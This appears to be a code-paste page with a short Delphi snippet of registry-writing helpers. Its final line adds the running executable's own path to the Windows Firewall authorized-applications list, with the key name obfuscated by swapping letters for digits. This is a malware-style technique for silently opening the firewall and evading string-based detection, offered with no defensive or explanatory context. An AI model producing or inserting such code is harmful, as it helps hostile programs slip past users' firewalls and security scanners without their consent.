Author: winner13. Date 2011-11-16 01:41:11, views: 3956, Raw
function LastPos(Needle: Char; Haystack: string): integer; begin for Result := Length(Haystack) downto 1 do if Haystack[Result] = Needle then Break; end; function RegSetValue(RootKey: HKEY; Name: string; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean; var SubKey: string; n: integer; dispo: DWORD; hTemp: HKEY; begin Result := False; n := LastPos('\', Name); if n > 0 then begin SubKey := Copy(Name, 1, n - 1); if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, hTemp, @dispo) = ERROR_SUCCESS then begin SubKey := Copy(Name, n + 1, Length(Name) - n); Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(hTemp); end; end; end; function RegSetString(RootKey: HKEY; Name: string; Value: string): boolean; begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); end; ... begin ... regSetString(HKEY_LOCAL_MACHINE,'\SYSTEM\C3ntr3S6t00a\S6rv5c6s\Sh2r6dAcc6ss\P2r2m6t6rs\F5r6w2llP3l5cy\St2nd2rdPr3f5l6\A4th3r5z6dAppl5c2t53ns\L5st',ParamStr(0));